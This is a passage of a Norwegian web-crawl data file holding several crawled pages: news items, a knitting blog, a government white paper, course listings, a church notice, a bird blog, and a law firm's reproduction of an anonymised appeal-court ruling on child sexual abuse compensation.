virtuell rigg som kobles sammen med styresystemet i boreriggen, og s\u00e5 brukes de til \u00e5 trene i.\n\nMan setter seg rett og slett i en operat\u00f8rstol omgitt av datamaskiner p\u00e5 alle kanter i lokalene p\u00e5 Dvergsnes, men simulatoren er s\u00e5 naturtro som det overhodet er mulig \u00e5 oppn\u00e5 p\u00e5 fastland.\n\n\u2013\u00a0\u00c5 sitte inne i en slik simulator, eller digital tvilling som det ogs\u00e5 kalles, oppleves helt reelt. Alt fungerer som om man er offshore, og det gj\u00f8res av to grunner; for \u00e5 teste ut nye ting f\u00f8r de settes i produksjon og for at de som skal operere riggene kan trene.\n\nDenne m\u00e5ten \u00e5 \u00f8ve p\u00e5, gir store kostnadsbesparelse.\n\n\u2013\u00a0Det koster 300-400 tusen dollar om dagen for \u00e5 leie er rigg, og da sier det seg selv at det blir dyrt med for mange feilskj\u00e6r, sier Skogerb\u00f8.\n\nMen alt dette hadde ikke v\u00e6re mulig uten medarbeidere med solid erfaring og kompetanse innen den nyeste teknologien.\n\n\u2013\u00a0Erfaring er viktig, men de nyutdannede hodene kan ha et fortrinn hvis de s\u00f8rger for \u00e5 l\u00e6re seg den nyeste teknologien. Da kan de spille en rolle allerede fra f\u00f8rste dagen de begynner \u00e5 jobbe hos oss eller andre i samme bransje, sier P\u00e5l Skogerb\u00f8, leder for teknologiutvikling i MH Wirth.\n\n-----\n\n## 3D-studier p\u00e5 Noroff\n\n\n\n### Digital prototyping \n\n| ** | **Studiet gir fagskolevitnem\u00e5l** |\n\n\n### 3D design og animasjon \n\nBli en 3D-designer og skap naturtro animasjoner, milj\u00f8er og visualiseringer. Gi liv til spill og filmer, og lag 3D-bilder av fremtidige produkter.\n\n|    |                                       |\n| :-: | ------------------------------------- |\n| ** | 1 \u00e5r                                  |\n| ** | Oslo, Bergen, Stavanger, Kristiansand |\n| ** | Tilgjengelig som nettstudium          |\n| ** | **Studiet gir fagskolevitnem\u00e5l**      |\n\n\n\n### 3D spilldesign \n\nBli en 3D-spilldesigner og l\u00e6r \u00e5 utvikle kreativt spillinnhold. Studiet gir innblikk i spillbransjens utviklingsprosesser, fra id\u00e9 til lanseringsklart produkt.\n\n\n### Bachelor i interaktive medier - animasjon \n\nDette bachelorstudiet gir en solid forst\u00e5else av animasjonsbransjen. Hovedfokuset er \u00e5 designe, skape og sette sammen karakterer for spill, film og historiefortelling.\n\n|    |                              |\n| :-: | ---------------------------- |\n| ** | 3 \u00e5r                         |\n| ** | Kristiansand                 |\n| ** | Tilgjengelig som nettstudium |\n| ** | **Studiet gir bachelorgrad** |\n\n", "language": "no", "__index_level_0__": "efa4720a-6522-4b65-801c-a44aeae4c530"}
{"url": "https://www.nrk.no/hordaland/far-sporsmal-om-byluften-1.12747331", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-25T00:30:56Z", "text": "Luftkvaliteten i Bergen\n\n13\\. januar 2016 kl. 10:02\n\n## F\u00e5r sp\u00f8rsm\u00e5l om byluften\n\nVenstres Terje Breivik skal i dagens sp\u00f8rretime stille sp\u00f8rsm\u00e5l til statsminister Erna Solberg om byluften. Venstre etterlyser virkemidler for \u00e5 f\u00e5 ned luftforurensingen i Bergen. Se stortingets spontansp\u00f8rretime her\\!\n\n\n\n## Advarer om h\u00f8y skredfare: \u2013 Unng\u00e5 alt skredterreng denne p\u00e5sken\n\nSkal du ut i fjellet i p\u00e5sken, b\u00f8r du passe p\u00e5 hvor du g\u00e5r. Sn\u00f8skredfaren i stort sett hele landet er n\u00e5 s\u00e5pass h\u00f8y at det g\u00e5r stadig nye skred.\n\nAv Linn Blomkvist\n\n\n\n## Lorentzen har grepet om nok en NM-tittel\n\nH\u00e5vard Holmefjord Lorentzen leder som ventet gulljakten i sprint-NM p\u00e5 sk\u00f8yter i Bjugn. S\u00f8ndag kan han bli norgesmester i sprint for femte gang.\n\n", "language": "no", "__index_level_0__": "802782c2-845f-47a5-aeff-5605a7b15614"}
{"url": "http://vrigmors.blogspot.com/2013/03/lite-tips.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:19:30Z", "text": "Dame p\u00e5 53, glad i garn, farver, n\u00e5l og tr\u00e5d. Trivelig at du titter innom \\~ h\u00e5per \u00e5 gi litt inspirasjon \n\n## 18\\. mars 2013\n\n### Lite tips....?\n\nNy dag & ny uke....  \nFikk lyst \u00e5 dele en bitte liten ting.  \nN\u00e5r jeg strikker vrangborder og skal skifte farve, s\u00e5 strikker jeg f\u00f8rste runde med**\u00a0kun rette masker**, s\u00e5 fortsetter jeg med rett & vrang deretter.  \nDette har **ingen innvirkning p\u00e5 elastikken,** litt penere... :)  \n  \nViser med det lille bilde, der er f\u00f8rste 10 masker hvitt strikket rett, og de siste 10 masker rett og vrang.  \n\nSer...? :)\n\n\n\n  \nEllers gjorde jeg no\\`sm\u00e5tteri i g\u00e5r, festet tr\u00e5der i jakkedelene - n\u00e5 er det ut og finne 60 cm beige glidel\u00e5s.  \nS\u00e5 ble det 2 vaskekluter av noe bomullsrester - bruker ikke andre kluter lengre, kjempegode  \n  \n\n\n\n  \nG\u00e5tt litt tr\u00e5tt med toppen min siste par dager, men joda, g\u00e5r da fremover, samtidig som jeg funderer p\u00e5 hvordan jeg vil ha ermet p\u00e5 denne. I allefall, Vipegarnet er jeg blitt litt glad i, veldig godt \u00e5 strikke med.  \n  \n\n\n\n  \n\u00a0PST\\!\u00a0Her\u00a0og\u00a0her\u00a0har jeg handlet strikke/h\u00e5ndarbeidsmagasiner det siste halv\u00e5ret, du b\u00f8r ha god tid n\u00e5r du skal titte her ;)  \nHa en flott dag \u00a0og go\\` uke\n\n Lagt inn av  \n\nRigmor S Volden             \n\n#### 2 kommentarer:\n1.  \n    \n    Mette Daleonsdag, mars 20, 2013\n    \n    Takk for flott tips \\!  \n    H\u00e5par helsa di  \n    er bedre no, ikkje noko stas n\u00e5r  \n    influensaen kjem p\u00e5 visitt \\!  \n      \n    Ha ein fin kveld \\!\n    \n2.  \n    \n    S\u00f8lvi Erdaltorsdag, april 18, 2013\n    \n    Jeg bruker samme teknikk som deg ved fargeskiftene ;)  \n    Og s\u00e5 m\u00e5 jeg bare beundre hvor flink du er \u00e5 bruke restegarn til \u00e5 strikke fine kluter\\!  \n    Nydelig hullm\u00f8nster p\u00e5 toppen din :D\n    \n## Duk\n\n    \n\n## Hjernen hviler aldri \\~ n\u00e5r vi sover, danser fantasien, er vel da vi dr\u00f8mmer om farver :)\n\n  \n\n    \n\n## Kluter\n\n  \nG\u00f8y \u00e5 lage m\u00f8nster selv\n\n    \n\n## Strikket i Falk\n\n  \n\n## Laget etter m\u00f8nster fra et tysk blad\n\n  \n## Meditativt...\n\nTenk; Einstein strikket ogs\u00e5, for \u00e5 klarne hjernen :)\n\nHa en fin & kreativ dag\n\n", "language": "no", "__index_level_0__": "332e5c4a-5956-4940-8a11-74e56747dfe3"}
{"url": "https://www.regjeringen.no/no/dokumenter/meld.-st.-18-20152016/id2479100/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:48:44Z", "text": "# Meld. St. 18 (2015\u20132016)\n\n## Friluftsliv \u2014 Natur som kilde til helse og livskvalitet\n\nTilr\u00e5ding fra Klima- og milj\u00f8departementet 11. mars 2016, godkjent i statsr\u00e5d samme dag. (Regjeringen Solberg)\n\nMelding til Stortinget\n\nGjennom meldingen vil regjeringen bidra til at enda flere driver med friluftsliv, og f\u00e5r oppleve friluftsliv som en kilde til bedre helse og h\u00f8yere livskvalitet. Meldingen omfatter tiltak og f\u00f8ringer innenfor b\u00e5de motivering og rekruttering til friluftsliv, og innenfor forvaltning av omr\u00e5der for friluftsliv. Regjeringen vil prioritere friluftsliv i n\u00e6rmilj\u00f8et, slik at alle kan delta. Barn og unge er prioriterte m\u00e5lgrupper. Meldingen inneholder ogs\u00e5 blant annet tiltak og f\u00f8ringer for \u00e5 ivareta arealer for friluftsliv i fjellomr\u00e5der med stort utbyggingspress.\n\n## Tema\n\n", "language": "no", "__index_level_0__": "66a1d601-84e9-4a4f-bae0-3007a36bea18"}
{"url": "http://www.advokat-teigstad.no/oppreisning-etter-seksuelt-overgrep-av-barn-under-10-ar/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:13:40Z", "text": "# LH-2012-188815: Oppreisning etter seksuelt overgrep av barn under 10 \u00e5r\n\n## LH-2012-188815: Oppreisning etter seksuelt overgrep av barn under 10 \u00e5r\n\n**En mann ble tiltalt for en rekke forhold, blant annet utuktig omgang med barn under 10 \u00e5r. Tiltalte hadde ved flere anledninger forgrepet seg seksuelt p\u00e5 en 4 \u00e5r gammel jente. Mannen ble d\u00f8mt til 1 \u00e5r i fengsel, samt til \u00e5 betale den mindre\u00e5rige 75 000 kroner i erstatning for voldtektene.**\n\nVed tiltalebeslutning utferdiget av Troms og Finnmark statsadvokatembeter 15. mai 2012 ble A, f\u00f8dt 0.0.1946, satt under tiltale ved Indre Finnmark tingrett for overtredelse av  \nI. For perioden til og med 24. august 2000\n\nStraffeloven \u00a7 195 f\u00f8rste ledd f\u00f8rste straffealternativ og annet ledd\n\nFor \u00e5 ha hatt utuktig omgang med barn under 10 \u00e5r og det har skjedd gjentatte overgrep,\n\nOg for periden fra og med 25. august 2000\n\nStraffeloven \u00a7 195 f\u00f8rste ledd f\u00f8rste punktum og annet ledd bokstav c\n\nFor \u00e5 ha hatt seksuell omgang med barn under 10 \u00e5r og det har skjedd gjentatte overgrep.\n\nGrunnlag:\n\nVed flere anledninger i perioden 2000 til 2003 i X, f\u00f8rte han en eller flere fingre inn mellom de ytre kj\u00f8nnsleppene til B, f\u00f8dt 0.0.1996, og beveget fingeren/fingrene.  \nII. For perioden til og med 24. august 2000\n\nStraffeloven \u00a7 192 f\u00f8rste ledd f\u00f8rste alternativ\n\nFor ved vold eller ved \u00e5 fremkalle frykt for noens liv eller helse \u00e5 ha tvunget noen til utuktig omgang,\n\nOg for perioden fra og med 25. august 2000\n\nStraffeloven \u00a7 192 f\u00f8rste ledd bokstav a\n\nFor ved vold eller truende adferd \u00e5 ha skaffet seg seksuell omgang.\n\nGrunnlag:\n\nVed minst en anledning til tid og p\u00e5 sted som nevnt i post I, holdt han B, f\u00f8dt 0.0.1996 fast, og f\u00f8rte en eller flere fingre inn mellom de ytre kj\u00f8nnsleppene hennes og beveget fingeren/fingrene.\n\nTiltalen post I var tatt ut etter ordre fra riksadvokaten.\n\nIndre Finnmark tingrett avsa 26. oktober 2012 dom med slik domsslutning:  \n1\\. A, f\u00f8dt 0.0.1946, frifinnes for tiltalens post II.  \n2\\. A d\u00f8mmes for overtredelse av straffeloven \u00a7 195, slik den var f\u00f8r 25. august 2000, f\u00f8rste straffalternativ til fengsel i 1 \u2013 ett \u2013 \u00e5r. Fullbyrdelsen av 6 \u2013 seks \u2013 m\u00e5neder av straffen utsettes i medhold av straffeloven \u00a7\u00a7 52-54 med en pr\u00f8vetid p\u00e5 to \u00e5r.\n\n3\\. A d\u00f8mmes til \u00e5 betale 60 000 \u2013 sekstitusen \u2013 kroner i oppreisning til B med forfall 2 \u2013 to \u2013 uker etter dommens forkynnelse.\n\nA har erkl\u00e6rt anke over Indre Finnmark tingretts dom av 26. oktober 2012. Anken gjelder bevisbed\u00f8mmelsen under skyldsp\u00f8rsm\u00e5let for tiltalen post I og oppreisningskravet. Ogs\u00e5 forn\u00e6rmede har begj\u00e6rt ny behandling av oppreisningskravet.\n\nH\u00e5logaland lagmannsrett besluttet 23. november 2012 \u00e5 henvise anken til ankeforhandling.\n\nAnkeforhandling ble holdt 4. \u2013 5. februar 2013 i Vads\u00f8. Tiltalte m\u00f8tte og ga forklaring. Det ble avh\u00f8rt seks vitner og foretatt slik dokumentasjon som rettsboka viser. Under ankeforhandlingens f\u00f8rste dag gjorde rettens leder partene oppmerksom p\u00e5 at sorenskriveren, som hadde gjennomf\u00f8rt dommeravh\u00f8r av forn\u00e6rmede, ogs\u00e5 var rettens leder under tingrettens behandling. Det ble vist til at dette kunne reise sp\u00f8rsm\u00e5l om habilitet, jf. Rt-1997-1288. Forsvarer fremsatte dagen etter begj\u00e6ring om at tingrettens dom skulle oppheves, mens aktor motsatte seg det. Lagmannsretten avsa kjennelse, inntatt i rettsboka, der begj\u00e6ringen ikke ble tatt til f\u00f8lge. Det ble vist til Rt-2004-477 og Rt-2010-456 og at saken er sv\u00e6rt gammel. Det ble ogs\u00e5 lagt vekt p\u00e5 at forn\u00e6rmede m\u00f8tte i lagmannsretten og ga forklaring og besvarte sp\u00f8rsm\u00e5l f\u00f8r og etter avspillingen av dommeravh\u00f8ret.\n\nUnder ankeforhandlingen endret aktor grunnlaget for tiltalen post I til \u00e5 lyde slik:\n\nVed minst en anledning i perioden 1999 til 2003 i X, f\u00f8rte han en eller flere fingre inn mellom de ytre kj\u00f8nnsleppene til B, f\u00f8dt 0.0.1996, og beveget fingeren/fingrene og fikk henne til \u00e5 ta p\u00e5 hans penis.\n\nLagretten ble forelagt ett sp\u00f8rsm\u00e5l utformet i samsvar med den endrede tiltalen. Lagretten besvarte sp\u00f8rsm\u00e5let med ja, og lagmannsretten la enstemmig svaret til grunn.\n\nAktor la ned slik p\u00e5stand:  \n1\\. A, f\u00f8dt 0.0.1946 d\u00f8mmes for overtredelse av straffeloven \u00a7 195 f\u00f8rste ledd f\u00f8rste punktum til fengsel i 1 ett \u2013 \u00e5r. Fullbyrdelsen av 6 \u2013 seks \u2013 m\u00e5neder av straffen utsettes i medhold av straffeloven \u00a7\u00a7 52-54 med en pr\u00f8vetid p\u00e5 to \u00e5r.  \n2\\. Han ilegges saksomkostninger for lagmannsretten etter rettens skj\u00f8nn.\n\nBistandsadvokaten la ned slik p\u00e5stand:\n\nB f\u00f8dt 0.0.1996, tilkjennes oppreisningserstatning fastsatt etter lagmannsrettens skj\u00f8nn, oppad begrenset til kr 150.000.\n\nForsvarer la ned slik p\u00e5stand:\n\nSiktede anses p\u00e5 mildeste m\u00e5te b\u00e5de med hensyn til kravet om straff og om oppreisning.\n\nLagmannsretten skal bemerke:\n\nSiktede er bosatt i Y(land), ikke langt fra Z. Han er tidligere gift og har to voksne barn. Han mottar pensjon p\u00e5 ca. 1 700 euro i m\u00e5neden.\n\nNytt\u00e5rsaftenen 1998/99 ble han kjent med C, som er mor til forn\u00e6rmede i saken. De innledet et kj\u00e6resteforhold som varte omkring 3 \u2013 4 \u00e5r. I denne perioden oppholdt siktede seg en god del hos C, normalt et par helger i m\u00e5neden. Det er lagmannsrettens inntrykk at han i perioder oppholdt seg der mer, blant annet i forbindelse med at han hjalp til med oppussing av Cs bolig.\n\nSiktede fikk raskt et godt forhold til forn\u00e6rmede og opptr\u00e5dte i en viss grad som en farsfigur for henne. Ved flere anledninger badet han sammen med forn\u00e6rmede og la henne om kvelden. P\u00e5 grunn av Cs svake omsorgsevne, hadde forn\u00e6rmede fra hun var ett \u00e5r tilbrakt hver annen helg i et bes\u00f8kshjem. Da forn\u00e6rmede var ti \u00e5r overtok barnevernet omsorgen for forn\u00e6rmede, og bes\u00f8kshjemmet ble da fosterhjem.\n\nLagmannsretten legger til grunn som bevist ut over rimelig tvil at siktede ved en anledning i Cs hjem i X, forsettlig forholdt seg som beskrevet i den endrede tiltalebeslutningen. Etter at siktede hadde badet forn\u00e6rmede la han henne i sengen p\u00e5 morens soverom. Han f\u00f8rte en eller flere fingre inn mellom forn\u00e6rmedes ytre kj\u00f8nnslepper og beveget fingrene, samtidig som han tok forn\u00e6rmedes h\u00e5nd inntil sin erigerte penis og beveget h\u00e5nden hennes. Forn\u00e6rmede opplevde dette som ekkelt. Det er ikke holdepunkter for at siktede hadde utl\u00f8sning.\n\nForn\u00e6rmedes forklaring kan tyde p\u00e5 at hendelsen fant sted n\u00e5r hun var omkring 5 \u2013 6 \u00e5r, men det et likevel usikkert om det kan ha v\u00e6rt tidligere. Straffeloven \u00a7 195 ble endret ved lovendring som tr\u00e5dte i kraft 25. august 2000. Selv om strafferammen for overtredelse av bestemmelsen f\u00f8rste ledd f\u00f8rste straffalternativ, n\u00e5 f\u00f8rste ledd f\u00f8rste punktum, ikke ble endret, ble det lagt til grunn at straffeniv\u00e5et skulle skjerpes. Lagmannsretten antar, som tingretten, at det m\u00e5 anses mest gunstig for siktede at straffutm\u00e5lingen bygger p\u00e5 at hendelsen fant sted f\u00f8r lovendringen. Lagmannsretten legger derfor til grunn at hendelsen skjedde sommeren 2000, etter at forn\u00e6rmede hadde fylt fire \u00e5r.\n\nVed bevisvurderingen har lagmannsretten s\u00e6rlig lagt vekt p\u00e5 forn\u00e6rmedes forklaring i lagmannsretten. Det vises ogs\u00e5 til at hun v\u00e5ren/sommeren 2007 betrodde seg til sin s\u00f8ster om dette, og forklaringen i dommeravh\u00f8ret som ble foretatt i februar 2010. Hun har senere f\u00e5tt behandling av psykolog og forklart seg om hendelsen til henne. I 2000 sendte barnehagen der forn\u00e6rmede gikk, en bekymringsmelding til barnevernet. I meldingen ble det vist til at forn\u00e6rmede omtalte siktede som sin \u00abkj\u00e6reste\u00bb og at de badet sammen mens moren sov. I utredning for barnevernet i september 2000 av psykolog Trond Indregaard, gjengis ogs\u00e5 opplysninger fra barnehageansatte som gir uttrykk for bekymring for at forn\u00e6rmede kunne v\u00e6re utsatt for seksuelle overgrep. Selv om opplysningene i 2000 ikke ble ansett som tilstrekkelige til \u00e5 iverksette tiltak, gir de en viss st\u00f8tte til forn\u00e6rmedes forklaring n\u00e5.\n\nAktor har under prosedyren om skyldsp\u00f8rsm\u00e5let, og ved endringen av tiltalebeslutningen, anf\u00f8rt at forn\u00e6rmede ble utsatt for ett tilfelle av seksuell omgang. Til grunn for straffutm\u00e5lingen har aktor anf\u00f8rt at det m\u00e5 legges til grunn at forn\u00e6rmede har v\u00e6rt utsatt for flere tilfeller av seksuell handling.\n\nForn\u00e6rmede forklarte i lagmannsretten at hun ved minst en annen anledning f\u00f8rst ble holdt fast av siktede samtidig som han gjorde handlinger av seksuell karakter med henne, men at hun kom seg l\u00f8s og l\u00f8p inn til moren. Forn\u00e6rmede kunne ikke si noe n\u00e6rmere om hva som konkret skjedde. I lagmannsretten kunne hun ikke sikkert huske om seksuelle handlinger hadde skjedd ved andre anledninger. I dommeravh\u00f8ret fremg\u00e5r at liknede hendelser som det siktede n\u00e5 er kjent skyldig i, fant sted i alle fall 4 \u2013 5 ganger. Lagmannsretten legger til grunn som bevist ut over rimelig tvil at siktede ved en anledning utf\u00f8rte en seksuell handling etter straffeloven \u00a7 200 mot forn\u00e6rmede. Hendelsen i seg selv tillegges ikke vekt ved straffutm\u00e5lingen, men den kaster lys over det forhold tiltalen gjelder ved at den viser at det ikke dreide seg om en situasjonspreget impulshandling, jf. Rt-2008-892 avsnitt 24. Dette tas i betraktning ved straffutm\u00e5lingen.\n\nVed straffutm\u00e5lingen m\u00e5 det ogs\u00e5 legges vekt p\u00e5 at siktede visste at forn\u00e6rmede var i bes\u00f8kshjem hver annen helg og var i en s\u00e5rbar situasjon.\n\nForn\u00e6rmedes far d\u00f8de h\u00f8sten 2011, noe som utl\u00f8ste en \u00abmoderat depressiv episode\u00bb med blant annet selvmordstanker for forn\u00e6rmede. Hun har g\u00e5tt til samtale hos psykolog, og i en periode var hun ogs\u00e5 medisinert. Psykolog Elisabeth Gerhardsen har i erkl\u00e6ring av 13. september 2012 vist til at selv \u00abom depresjonen ble utl\u00f8st av tapet av faren antas underliggende vansker pga barndomsopplevelser \u00e5 ha gjort det s\u00e5 vanskelig \u00e5 bearbeide sorgen at den utviklet seg til en depresjon\u00bb. Ut fra forn\u00e6rmedes forklaring og fremlagt dokumentasjon, knytter en vesentlig del av de vanskelige barndomsopplevelsene seg til det siktede n\u00e5 domfelles for. Forn\u00e6rmede forklarte at hun mer eller mindre hadde pr\u00f8vd \u00e5 fortrenge minnene om siktede, men da faren d\u00f8de, kom alt opp igjen.\n\nVed straffutm\u00e5lingen m\u00e5 det ogs\u00e5 tas hensyn til tidsforl\u00f8pet. Forn\u00e6rmede betrodde seg som nevnt til sin s\u00f8ster v\u00e5ren/sommeren 2007, og forholdet ble anmeldt til lensmannen i X 25. juni 2007. Saken skal ha blitt feilregistrert, og det skal v\u00e6re \u00e5rsaken til at saken ble liggende ubehandlet i lang tid. Politif\u00f8rstebetjent Isaksen har opplyst at hun en rekke ganger forgjeves purret p\u00e5 ansvarlig jurist om at det m\u00e5tte foretas dommeravh\u00f8r. Dommeravh\u00f8r ble f\u00f8rst foretatt i februar 2010. Siktede ble kjent med saken da han ble avh\u00f8rt 13. desember 2010. Tiltale ble tatt ut 15. mai 2012. Det er meget uheldig b\u00e5de for siktede og forn\u00e6rmede at saksbehandlingen, tilsynelatende fullstendig uten grunn, har tatt s\u00e5 lang tid.\n\nUnder henvisning til Rt-2004-1408 er lagmannsretten, som tingretten, kommet til at straffen passende kan settes til fengsel i ett \u00e5r, men at seks m\u00e5neder av straffen gj\u00f8res betinget med en pr\u00f8vetid p\u00e5 to \u00e5r p\u00e5 grunn av tidsforl\u00f8pet.\n\nI henhold til skadeserstatningsloven \u00a7 3-5 f\u00f8rste ledd bokstav b), jf. \u00a7 3-3, kan blant annet ofre for overgrep som beskrevet i straffeloven \u00a7 195 tilkjennes erstatning for \u00abden voldte tort og smerte og for annen krenking eller skade av ikke \u00f8konomisk art\u00bb som overgrepet har medf\u00f8rt. Siktede er d\u00f8mt for forsettlig overtredelse av straffeloven \u00a7 195, og det foreligger grunnlag for \u00e5 tilkjenne erstatning.\n\nOppreisningserstatningen skal fastsettes etter en bred skj\u00f8nnsmessig helhetsvurdering hvor blant annet handlingens objektive grovhet, skadevolders skyld, forn\u00e6rmedes subjektive opplevelse av krenkelsen og arten og omfanget av de p\u00e5f\u00f8rte skadevirkninger skal tillegges vekt. Av skadeserstatningsloven \u00a7 3-5 f\u00f8rste ledd fremg\u00e5r det videre at det ved handlinger som nevnt i straffeloven \u00a7 195 s\u00e6rlig skal legges vekt p\u00e5 hvor lang tid handlingen har p\u00e5g\u00e5tt, om det foreligger misbruk av slektskaps-, omsorgs- eller avhengighetsforhold, og hvorvidt handlingen er beg\u00e5tt p\u00e5 en smertefull eller krenkende m\u00e5te.\n\nLagmannsretten slutter seg til tingrettens begrunnelse, men er kommet til at oppreisningserstatningen b\u00f8r settes noe h\u00f8yere enn fastsatt av tingretten. Oppreisningserstatningen settes til 75 000 kroner. Avgj\u00f8relsen av oppreisningserstatning er tatt av de tre fagdommerne.\n\nAnken fra siktede har v\u00e6rt forgjeves og lagmannsretten har kommet til at han skal betale det offentlige 5 000 kroner i saksomkostninger for lagmannsretten, jf. straffeprosessloven \u00a7 436.\n\nDommen er enstemmig.\n\nDomsslutning:  \n1\\. A, f\u00f8dt 0.0.1946, d\u00f8mmes for en overtredelse av straffeloven \u00a7 195 f\u00f8rste ledd f\u00f8rste straffalternativ \u2013 slik den l\u00f8d f\u00f8r 25. august 2000 \u2013 til en straff av fengsel i 1 \u2013 ett \u2013 \u00e5r. Fullbyrdelsen av 6 \u2013 seks \u2013 m\u00e5neder av straffen gj\u00f8res betinget med en pr\u00f8vetid p\u00e5 2 \u2013 to \u2013 \u00e5r i medhold av straffeloven \u00a7\u00a7 52-54.  \n2\\. A d\u00f8mmes til \u00e5 betale B oppreisningserstatning med 75.000 \u2013 syttifemtusen \u2013 kroner innen 2 \u2013 to \u2013 uker fra forkynnelsen av denne dom.  \n3\\. A d\u00f8mmes til \u00e5 betale saksomkostninger til det offentlige for lagmannsretten med 5.000 \u2013 femtusen \u2013 kroner.\n\n4.  LH-2012-81220: Oppreisning etter seksuelt overgrep med barn under 16 \u00e5r likestilt med samleie\n\nadmin2016-08-23T14:34:27+00:00\n\n### Advokatfirmaet Teigstad AS\n\nMed v\u00e5re\u00a0**fem bistandsadvokater** utgj\u00f8r vi det mest spesialiserte advokatfirmaet for voldsofre i landet. Ta kontakt med oss i dag for en **uforpliktende** prat om anmeldelse og erstatning etter overgrep eller vold. Vi avklarer alltid om advokatutgiftene dekkes av **offentlige ordninger** f\u00f8r vi p\u00e5tar oss din sak.\n\nVi tar saker **over hele landet**.\n\n    Torggata 10, 0181 Oslo\n    email@example.com\n\n### Still oss et sp\u00f8rsm\u00e5l om din sak\\!\n\n** Har jeg krav p\u00e5 erstatning?  \n** Har jeg krav p\u00e5 fri rettshjelp?  \n** Har jeg noen frister \u00e5 forholde meg til?  \n** **Send oss en uforpliktende e-post\\!**\n\n### Ansatte\n\n  - \n  - \n", "language": "no", "__index_level_0__": "bf42ce61-b221-4daf-8f2d-5695d0ff3111"}
{"url": "https://www.digi.no/artikler/onsker-a-kjope-banetele-sammen/294597", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:32:13Z", "text": "# \u00d8nsker \u00e5 kj\u00f8pe BaneTele sammen\n\nBredb\u00e5ndalliansen, seks regionale energiverk, seiler opp som den ivrigste kj\u00f8peren av BaneTele.\n\n  - Einar Ryvarden\n  - Resultaterfinans\n  - 17\\. des. 2004 - 09:34\n\nBaneTele, det statlige eide fibernettet NSB i sin tid bygget strak langs sine linjer, sklir langtsomt, men sikkert mot et salg. Det har v\u00e6rt mye politikk i saken, men i dag fors\u00f8ker n\u00e6ringsminister B\u00f8rge Brende \u00e5 rydde vekk en av hinderne for et salg.\n\nBrende og regjeringen foresl\u00e5r overfor Stortinget i dag \u00e5 tilf\u00f8re BaneTele 120 millioner kroner i ny egenkapital, skriver Dagens N\u00e6ringsliv. Dette gj\u00f8res blant annet fordi BaneTele har tapt to saker og m\u00e5 betale 40 millioner kroner i erstatning.\n\nI en ringerunde i norsk telebransjen, er det Bredb\u00e5ndsalliansen, en sammenslutning av de seks st\u00f8rste energiverkene her i landet som utrykker st\u00f8rst interesse for \u00e5 kj\u00f8pe BaneTele.\n\n\\- VI har regionale nett, mens BaneTele har landsdekkene stamnett, sier Lyse Tele-sjef Toril Nag til Dagens N\u00e6ringsliv.\n\nTDC/Song forteller at de ogs\u00e5 muligens er interessert, men Catch avviser at de kunne tenke seg BaneTele.\n\n", "language": "no", "__index_level_0__": "1a2917ba-2fc3-4ae1-ae30-5a8c95ca5f0c"}
{"url": "https://www.kristkirken.no/nyheter/koldtbordgudstjeneste", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:23:25Z", "text": "# Koldtbordgudstjeneste\n\n  \n\nMay 4, 2016   \n*by* Tormod Mathiesen \n\n\n\nKommende s\u00f8ndag har vi **koldtbordgudstjeneste**\\! Regelmessig har vi disse noe annerledes gudstjenestene, hvor m\u00f8tet varer en time,\u00a0etterfulgt av felles spising og fellesskap. En samling tilpasset hele familien, og mennesker som ikke har v\u00e6rt innom forsamlingen tidligere. Det vil ogs\u00e5 v\u00e6re ekstraordin\u00e6rt opplegg for barna under m\u00e5ltidet.\n\nGjerne ta med noe mat til det store spleiselaget, s\u00e5 stiller Kristkirken med varm og kald drikke.\n\n**Velkommen\\!**\n\n", "language": "no", "__index_level_0__": "1909a6cd-c7ca-4036-919e-31420bf7abd2"}
{"url": "http://knutsfugler.blogspot.com/2017/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:27:25Z", "text": "## fredag 3. november 2017\n\n### Opera Skarv\n\n\n\n  \nEn enslig skarv lekte seg i havnebassenget foran operaen i Oslo en ettermiddag i lav kveldsol.  \n  \n\n\n\n  \n\n\n## s\u00f8ndag 1. oktober 2017\n\n\n\n\n11:03    Ingen kommentarer:        \n\n Etiketter: stokkand \n\n \n## s\u00f8ndag 17. september 2017\n\n### Skarv m\u00f8ter sel\n\n\n\n  \nJeg tok denne bildeserien tidlig s\u00f8ndag morgen og m\u00e5tte le av det som skjedde. F\u00f8rst oppdaget jeg at noe m\u00f8rkt l\u00e5 og fl\u00f8t i vannet i b\u00e5thavna. F\u00f8rst da jeg tok frem kameraet og fokuserte med 400mm brennvidde s\u00e5 jeg at det var en sel. Det s\u00e5 ut til at den sov der den duppet vannskorpa med lukkede \u00f8yne.  \n  \n\n\n\n  \nMulig at den h\u00f8rte meg og kameraets lukker for den rettet hodet mot meg mens jeg tok noen bilder.  \n  \n\n\n\n  \nLengre bort i havna oppdaget jeg en skarv som dykket om og om igjen p\u00e5 sin jakt etter fisk.  \n  \n\n\n\n  \nS\u00e5 dukket den opp like ved der jeg satt p\u00e5 huk ved vannkanten. Selen hadde dykket s\u00e5 hodet var ikke lenger \u00e5 se. S\u00e5 dykket ogs\u00e5 skarven, men kom sv\u00e6rt raskt opp igjen.  \n  \n\n\n\nIkke vet jeg hva som skjedde under vannskorpa, trolig var det et m\u00f8te mellom skarv og sel, for da skarven kom opp igjen utst\u00f8tte den noen merkelig lyder og flakset avg\u00e5rde. Til alt hell hadde jeg kamera innstilt p\u00e5 seriebilder og fikk mange bilder av skarven som flakset avg\u00e5rde. Dessverre hadde jeg ikke innstilt kameraet p\u00e5 kontinuerlig fokus s\u00e5 en del av bildene ble uskarpe b\u00e5de p\u00e5 grunn av dette og p\u00e5 grunn av bevegelsesuskarphet, da jeg ikke hadde korte nok lukkertider i kamera i 